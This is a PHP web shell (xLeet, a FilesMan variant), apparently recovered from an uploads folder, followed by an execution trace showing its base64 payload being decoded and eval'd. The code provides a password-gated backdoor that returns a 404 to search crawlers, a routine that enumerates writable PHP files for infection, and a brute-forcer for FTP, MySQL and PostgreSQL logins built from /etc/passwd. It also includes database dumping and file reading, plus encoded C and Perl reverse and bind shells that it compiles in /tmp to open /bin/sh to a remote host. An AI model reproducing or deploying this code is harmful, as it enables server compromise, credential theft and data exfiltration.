        echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
        hardFooter();
    }
    function actionInfect()
    {
        hardHeader();
        echo "<h1>Infect</h1><div class=content>";
        if ($_POST['p1'] == 'infect') {
            $target = $_SERVER['DOCUMENT_ROOT'];
            function ListFiles($dir)
            {
                if ($dh = opendir($dir)) {
                    $files = array();
                    $inner_files = array();
                    while ($file = readdir($dh)) {
                        if ($file != "." && $file != "..") {
                            if (is_dir($dir . "/" . $file)) {
                                $inner_files = ListFiles($dir . "/" . $file);
                                if (is_array($inner_files)) {
                                    $files = array_merge($files, $inner_files);
                                }
                            } else {
                                array_push($files, $dir . "/" . $file);
                            }
                        }
                    }
                    closedir($dh);
                    return $files;
                }
            }
            foreach (ListFiles($target) as $key => $file) {
                $nFile = substr($file, -4, 4);
                if ($nFile == ".php") {
                    if ($file != $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF'] && is_writeable($file)) {
                        echo "{$file}<br>";
                        $i++;
                    }
                }
            }
            echo "<font color=red size=14>{$i}</font>";
        } else {
            echo "<form method=post><input type=submit value=Infect name=infet></form>";
            echo "Really want to infect the server?&nbsp;<a href=# onclick=\"g(null,null,'infect')\">Yes</a></div>";
        }
        hardFooter();
    }
    function actionBruteforce()
    {
        hardHeader();
        if (isset($_POST['proto'])) {
            echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
            if ($_POST['proto'] == 'ftp') {
                function bruteForce($ip, $port, $login, $pass)
                {
                    $fp = @ftp_connect($ip, $port ? $port : 21);
                    if (!$fp) {
                        return false;
                    }
                    $res = @ftp_login($fp, $login, $pass);
                    @ftp_close($fp);
                    return $res;
                }
            } elseif ($_POST['proto'] == 'mysql') {
                function bruteForce($ip, $port, $login, $pass)
                {
                    $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                    @mysql_close($res);
                    return $res;
                }
            } elseif ($_POST['proto'] == 'pgsql') {
                function bruteForce($ip, $port, $login, $pass)
                {
                    $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                    $res = @pg_connect($str);
                    @pg_close($res);
                    return $res;
                }
            }
            $success = 0;
            $attempts = 0;
            $server = explode(":", $_POST['server']);
            if ($_POST['type'] == 1) {
                $temp = @file('/etc/passwd');
                if (is_array($temp)) {
                    foreach ($temp as $line) {
                        $line = explode(":", $line);
                        ++$attempts;
                        if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                            $success++;
                            echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                        }
                        if (@$_POST['reverse']) {
                            $tmp = "";
                            for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
                                $tmp .= $line[0][$i];
                            }
                            ++$attempts;
                            if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                                $success++;
                                echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                            }
                        }
                    }
                }
            } elseif ($_POST['type'] == 2) {
                $temp = @file($_POST['dict']);
                if (is_array($temp)) {
                    foreach ($temp as $line) {
                        $line = trim($line);
                        ++$attempts;
                        if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                            $success++;
                            echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                        }
                    }
                }
            }
            echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>";
        }
        echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td><td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td><input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<input type=hidden name=ne  value="">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>' . '<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>' . '<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
        echo "</div>";
        hardFooter();
    }
    function actionSql()
    {
        class DbClass
        {
            var $type;
            var $link;
            var $res;
            function __construct($type)
            {
                $this->type = $type;
            }
            function connect($host, $user, $pass, $dbname)
            {
                switch ($this->type) {
                    case 'mysql':
                        if ($this->link = @mysql_connect($host, $user, $pass, true)) {
                            return true;
                        }
                        break;
                    case 'pgsql':
                        $host = explode(':', $host);
                        if (!$host[1]) {
                            $host[1] = 5432;
                        }
                        if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                            return true;
                        }
                        break;
                }
                return false;
            }
            function selectdb($db)
            {
                switch ($this->type) {
                    case 'mysql':
                        if (@mysql_select_db($db)) {
                            return true;
                        }
                        break;
                }
                return false;
            }
            function query($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = @mysql_query($str);
                    case 'pgsql':
                        return $this->res = @pg_query($this->link, $str);
                }
                return false;
            }
            function fetch()
            {
                $res = func_num_args() ? func_get_arg(0) : $this->res;
                switch ($this->type) {
                    case 'mysql':
                        return @mysql_fetch_assoc($res);
                    case 'pgsql':
                        return @pg_fetch_assoc($res);
                }
                return false;
            }
            function listDbs()
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->query("SHOW databases");
                    case 'pgsql':
                        return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                }
                return false;
            }
            function listTables()
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = $this->query('SHOW TABLES');
                    case 'pgsql':
                        return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                }
                return false;
            }
            function error()
            {
                switch ($this->type) {
                    case 'mysql':
                        return @mysql_error();
                    case 'pgsql':
                        return @pg_last_error();
                }
                return false;
            }
            function setCharset($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        if (function_exists('mysql_set_charset')) {
                            return @mysql_set_charset($str, $this->link);
                        } else {
                            $this->query('SET CHARSET ' . $str);
                        }
                        break;
                    case 'pgsql':
                        return @pg_set_client_encoding($this->link, $str);
                }
                return false;
            }
            function loadFile($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                    case 'pgsql':
                        $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '" . addslashes($str) . "';select file from hard2;");
                        $r = array();
                        while ($i = $this->fetch()) {
                            $r[] = $i['file'];
                        }
                        $this->query('drop table hard2');
                        return array('file' => implode("\n", $r));
                }
                return false;
            }
            function dump($table, $fp = false)
            {
                switch ($this->type) {
                    case 'mysql':
                        $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                        $create = mysql_fetch_array($res);
                        $sql = $create[1] . ";\n";
                        if ($fp) {
                            fwrite($fp, $sql);
                        } else {
                            echo $sql;
                        }
                        $this->query('SELECT * FROM `' . $table . '`');
                        $i = 0;
                        $head = true;
                        while ($▟ = $this->fetch()) {
                            $sql = '';
                            if ($i % 1000 == 0) {
                                $head = true;
                                $sql = ";\n\n";
                            }
                            $columns = array();
                            foreach ($▟ as $k => $v) {
                                if ($v === null) {
                                    $▟[$k] = "NULL";
                                } elseif (is_int($v)) {
                                    $▟[$k] = $v;
                                } else {
                                    $▟[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                }
                                $columns[] = "`" . $k . "`";
                            }
                            if ($head) {
                                $sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $▟) . ')';
                                $head = false;
                            } else {
                                $sql .= "\n\t,(" . implode(", ", $▟) . ')';
                            }
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
                            }
                            $i++;
                        }
                        if (!$head) {
                            if ($fp) {
                                fwrite($fp, ";\n\n");
                            } else {
                                echo ";\n\n";
                            }
                        }
                        break;
                    case 'pgsql':
                        $this->query('SELECT * FROM ' . $table);
                        while ($▟ = $this->fetch()) {
                            $columns = array();
                            foreach ($▟ as $k => $v) {
                                $▟[$k] = "'" . addslashes($v) . "'";
                                $columns[] = $k;
                            }
                            $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $▟) . ');' . "\n";
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
                            }
                        }
                        break;
                }
                return false;
            }
        }
        $db = new DbClass($_POST['type']);
        if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
            $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
            $db->selectdb($_POST['sql_base']);
            switch ($_POST['charset']) {
                case "Windows-1251":
                    $db->setCharset('cp1251');
                    break;
                case "UTF-8":
                    $db->setCharset('utf8');
                    break;
                case "KOI8-R":
                    $db->setCharset('koi8r');
                    break;
                case "KOI8-U":
                    $db->setCharset('koi8u');
                    break;
                case "cp866":
                    $db->setCharset('cp866');
                    break;
            }
            if (empty($_POST['file'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment; filename=dump.sql");
                header("Content-Type: text/plain");
                foreach ($_POST['tbl'] as $v) {
                    $db->dump($v);
                }
                exit;
            } elseif ($fp = @fopen($_POST['file'], 'w')) {
                foreach ($_POST['tbl'] as $v) {
                    $db->dump($v, $fp);
                }
                fclose($fp);
                unset($_POST['p2']);
            } else {
                die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
            }
        }
        hardHeader();
        echo "\n<h1>Sql browser</h1><div class=content>\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\n<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n<td><label><select name='type'><option value='mysql' ";
        if (@$_POST['type'] == 'mysql') {
            echo "selected";
        }
        echo ">MySql</option><option value='pgsql' ";
        if (@$_POST['type'] == 'pgsql') {
            echo "selected";
        }
        echo ">PostgreSql</option></select></label></td>\n<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>\n<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>\n<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\" required></td><td>";
        $tmp = "<input type=text name=sql_base value=''>";
        if (isset($_POST['sql_host'])) {
            if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                switch ($_POST['charset']) {
                    case "Windows-1251":
                        $db->setCharset('cp1251');
                        break;
                    case "UTF-8":
                        $db->setCharset('utf8');
                        break;
                    case "KOI8-R":
                        $db->setCharset('koi8r');
                        break;
                    case "KOI8-U":
                        $db->setCharset('koi8u');
                        break;
                    case "cp866":
                        $db->setCharset('cp866');
                        break;
                }
                $db->listDbs();
                echo "<label><select name=sql_base><option value=''></option>";
                while ($▟ = $db->fetch()) {
                    list($key, $value) = each($▟);
                    echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                }
                echo "</select></label>";
            } else {
                echo $tmp;
            }
        } else {
            echo $tmp;
        }
        echo "</td>\n\t\t\t\t<td><input type=submit value='submit' onclick='fs(d.sf);'></td>\n                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<script>\n            s_db='" . @addslashes($_POST['sql_base']) . "';\n            function fs(f) {\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\n                    if(f.p1) f.p1.value='';\n                    if(f.p2) f.p2.value='';\n                    if(f.p3) f.p3.value='';\n                }\n            }\n\t\t\tfunction st(t,l) {\n\t\t\t\td.sf.p1.value = 'select';\n\t\t\t\td.sf.p2.value = t;\n                if(l && d.sf.p3) d.sf.p3.value = l;\n\t\t\t\td.sf.submit();\n\t\t\t}\n\t\t\tfunction is() {\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\n\t\t\t}\n\t\t</script>";
        if (isset($db) && $db->link) {
            echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if (!empty($_POST['sql_base'])) {
                $db->selectdb($_POST['sql_base']);
                echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while ($▟ = $db->fetch($tbls_res)) {
                    list($key, $value) = each($▟);
                    if (!empty($_POST['sql_count'])) {
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                    }
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
                }
                echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                if (@$_POST['p1'] == 'select') {
                    $_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                    $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                    $num = $db->fetch();
                    $pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">";
                    echo " of {$pages}";
                    if ($_POST['p3'] > 1) {
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                    }
                    if ($_POST['p3'] < $pages) {
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                    }
                    $_POST['p3']--;
                    if ($_POST['type'] == 'pgsql') {
                        $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
                    } else {
                        $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
                    }
                    echo "<br><br>";
                }
                if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
                    $db->query(@$_POST['p2']);
                    if ($db->res !== false) {
                        $title = false;
                        echo "<table width=100% cellspacing=1 cellpadding=2 class=main>";
                        $line = 1;
                        while ($▟ = $db->fetch()) {
                            if (!$title) {
                                echo "<tr>";
                                foreach ($▟ as $key => $value) {
                                    echo '<th>' . $key . '</th>';
                                }
                                reset($▟);
                                $title = true;
                                echo "</tr><tr>";
                                $line = 2;
                            }
                            echo '<tr class="l' . $line . '">';
                            $line = $line == 1 ? 2 : 1;
                            foreach ($▟ as $key => $value) {
                                if ($value == null) {
                                    echo "<td><i>null</i></td>";
                                } else {
                                    echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                                }
                            }
                            echo "</tr>";
                        }
                        echo "</table>";
                    } else {
                        echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                    }
                }
                echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
                    echo htmlspecialchars($_POST['p2']);
                }
                echo "</textarea><br/><input type=submit value='Execute'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/>";
            if ($_POST['type'] == 'mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if ($db->fetch()) {
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
                }
            }
            if (@$_POST['p1'] == 'loadfile') {
                $file = $db->loadFile($_POST['p2']);
                echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
            }
        } else {
            echo htmlspecialchars($db->error());
        }
        echo "</div>";
        hardFooter();
    }
    function actionNetwork()
    {
        hardHeader();
        $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
        $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJ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2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
        echo "<h1>Network tools</h1><div class=content>\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>\n\t<span>Bind port to /bin/sh</span><br/>\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>\n\t</form>\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\n\t<span>Back-connect to</span><br/>\n\tServer: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>\n\t</form><br>";
        if (isset($_POST['p1'])) {
            function cf($f, $t)
            {
                $w = @fopen($f, "w") or @function_exists('file_put_contents');
                if ($w) {
                    @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                    @fclose($w);
                }
            }
            if ($_POST['p1'] == 'bpc') {
                cf("/tmp/bp.c", $bind_port_c);
                $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
                @unlink("/tmp/bp.c");
                $▖ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp") . "</pre>";
            }
            if ($_POST['p1'] == 'bpp') {
                cf("/tmp/bp.pl", $bind_port_p);
                $▖ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp.pl") . "</pre>";
            }
            if ($_POST['p1'] == 'bcc') {
                cf("/tmp/bc.c", $back_connect_c);
                $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
                @unlink("/tmp/bc.c");
                $▖ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc") . "</pre>";
            }
            if ($_POST['p1'] == 'bcp') {
                cf("/tmp/bc.pl", $back_connect_p);
                $▖ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.pl") . "</pre>";
            }
        }
        echo "</div>";
        hardFooter();
    }
    if (empty($_POST['a'])) {
        if (isset($▚) && function_exists('action' . $▚)) {
            $_POST['a'] = $▚;
        } else {
            $_POST['a'] = 'FilesMan';
        }
    }
    if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
        call_user_func('action' . $_POST['a']);
    }
};

Execution traces

data/traces/c65f10a1973cf6d8f3afb79423bbedd9_trace-1676259224.0551.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 01:34:09.952916]
1	0	1	0.000183	393528
1	3	0	0.000775	499832	{main}	1		/var/www/html/uploads/pandored.php	0	0
2	4	0	0.000793	499832	base64_decode	0		/var/www/html/uploads/pandored.php	2	1	'CmVycm9yX3JlcG9ydGluZyAoMCk7Ci8vLS0tLS0tLS0tLS0tLS0gU2VsbGVyIFJ1bGV6ICEtLS0tLS0tLS0tLS0tLQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIndvcmtpbmd4Ij0+dHJ1ZSwJCgkpKTsKCWRpZSAoKTsKfQovLy0tLS0tLS0tLS0tLS0tLS0tUGFzc3dvcmQtLS0tLS0tLS0tLS0tLS0tLS0tLS0KJOKWmyA9'
2	4	1	0.001132	606360
2	4	R			'\nerror_reporting (0);\n//-------------- Seller Rulez !--------------\nif ($_REQUEST[\'watchx\']) {\n\t$version = phpversion();\n\t$uname =  php_uname();\n\t$ip = gethostbyname($_SERVER["HTTP_HOST"]);\t\n\techo json_encode (array ("version"=>$version,\n\t\t"uname"=>$uname,\n\t\t"platform"=>PHP_OS,\n\t\t"ip"=>$ip,\n\t\t"workingx"=>true,\t\n\t));\n\tdie ();\n}\n//-----------------Password---------------------\n$▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //xleet\n\n$▘ = true;\n$▜ = \'UTF-8\';\n$▚ = \'File'
2	5	0	0.003714	1138448	eval	1	'\nerror_reporting (0);\n//-------------- Seller Rulez !--------------\nif ($_REQUEST[\'watchx\']) {\n\t$version = phpversion();\n\t$uname =  php_uname();\n\t$ip = gethostbyname($_SERVER["HTTP_HOST"]);\t\n\techo json_encode (array ("version"=>$version,\n\t\t"uname"=>$uname,\n\t\t"platform"=>PHP_OS,\n\t\t"ip"=>$ip,\n\t\t"workingx"=>true,\t\n\t));\n\tdie ();\n}\n//-----------------Password---------------------\n$▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39"; //xleet\n\n$▘ = true;\n$▜ = \'UTF-8\';\n$▚ = \'FilesMan\';\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\n}\n\nif(empty($_POST[\'charset\']))\n\t$_POST[\'charset\'] = $▜;\nif (!isset($_POST[\'ne\'])) {\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\n}\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\n@ini_set(\'error_log\',NULL);\n@ini_set(\'log_errors\',0);\n@ini_set(\'max_execution_time\',0);\n@set_time_limit(0);\nif (PHP_VERSION_ID < 70000)\n\t@set_magic_quotes_runtime(0);\n@define(\'VERSION\', \'4.2.5\');\nif(get_magic_quotes_gpc()) {\n\tfunction stripslashes_array($array) {\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\n\t}\n\t$_POST = stripslashes_array($_POST);\n    $_COOKIE = stripslashes_array($_COOKIE);\n}\n/* (С) 11.2011 oRb */\nif(!empty($▛)) {\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\n        hardLogin();\n}\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\nfunction hardLogin() {\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\n\t\t  header(\'HTTP/1.0 404 Not Found\');\n\t\t  exit;\n\t\t  }\n\t\t}\n\tdie("<pre align=center><form method=post>Password<br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'submit\' style=\'border:none;background-color:#56AD15;color:#fff;cursor:pointer;\'></form></pre>");\n}\nif(strtolower(substr(PHP_OS,0,3)) == "win")\n\t$os = \'win\';\nelse\n\t$os = \'nix\';\n$safe_mode = @ini_get(\'safe_mode\');\nif(!$safe_mode)\n    error_reporting(0);\n$disable_functions = @ini_get(\'disable_functions\');\n$home_cwd = @getcwd();\nif(isset($_POST[\'c\']))\n\t@chdir($_POST[\'c\']);\n$cwd = @getcwd();\nif($os == \'win\') {\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\n\t$cwd = str_replace("\\\\", "/", $cwd);\n}\nif($cwd[strlen($cwd)-1] != \'/\')\n\t$cwd .= \'/\';\n/* (С) 04.2015 Pirat */\nfunction hardHeader() {\n\tif(empty($_POST[\'charset\']))\n\t\t$_POST[\'charset\'] = $GLOBALS[\'▜\'];\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - xLeet " . VERSION ."</title>\n<style>\n\tbody {background-color:#060A10; 